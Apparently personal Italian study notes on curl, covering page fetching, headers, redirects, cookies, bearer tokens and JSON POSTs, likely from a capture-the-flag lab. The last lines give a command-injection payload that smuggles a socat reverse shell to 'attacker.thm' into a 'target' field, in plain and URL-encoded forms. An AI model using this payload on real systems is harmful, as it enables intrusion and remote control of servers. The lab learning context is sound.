curl http://10.82.128.63:8000 - visualizza la pagina htmlcurl https://example.com -o pagina.html - salvare una pagina su filecurl -I https://example.com - vedere solo gli headers, utile per status code (200, 404, 301…), tipo di server, redirectcurl -L https://example.com - seguire i redirectscurl -A "Mozilla/5.0" https://example.com - simulare un browser (alcuni siti bloccano le richieste no browser)curl "https://example.com/search?q=linux&page=1" - richiesta get con parametricurl -X POST -d "user=admin&pass=1234" https://example.com/login - Form classico curl -v https://example.com - vedere richiesta + debugPerché salvare i cookie: HTTP è stateless → il server non ricorda nulla di te tra una richiesta e la successiva.
Il server risponde e fine. Alla richiesta dopo, per il server sei uno nuovo.
Quindi i cookie sono l’unico modo standard per:
- mantenere una sessione
- restare loggati
- conservare preferenze
-superare controlli anti-bot semplici
esempio cookie:
curl -c cookie.txt -X POST \
-d "user=mario&pass=segretissima" \
https://sito.com/login
curl -b cookie.txt https://sito.com/dashboard****
curl -c cookie.txt https://example.com --> salvare cookie
curl -b cookie.txt https://example.com/dashboard ---> riutilizzarli
***
curl -H "Authorization: Bearer TOKEN" https://example.com/api --> aggiungere header personalizzati (Serve a dimostrare al server chi sei quando accedi a una API protetta.)
inviare dati post JSON (API) --->
curl -X POST https://example.com/api \
-H "Content-Type: application/json" \
-d '{"name":"Mario","age":18}'
Nota bene: bisogna ricordarsi che su target bisogna usare URL encoded, altrimenti non legge i simboli && = %26%26 , esempio
127.0.0.1 && socat TCP:attacker.thm:1337 EXEC:sh ----> url encoded= 127%2E0%2E0%2E1%20%26%26%20socat%20TCP%3Aattacker%2Ethm%3A1337%20EXEC%3Ash
curl -X POST -d "target=127%2E0%2E0%2E1%26%26%20socat%20TCP%3Aattacker%2Ethm%3A1337%20EXEC%3Ash" http://10.82.128.63:8000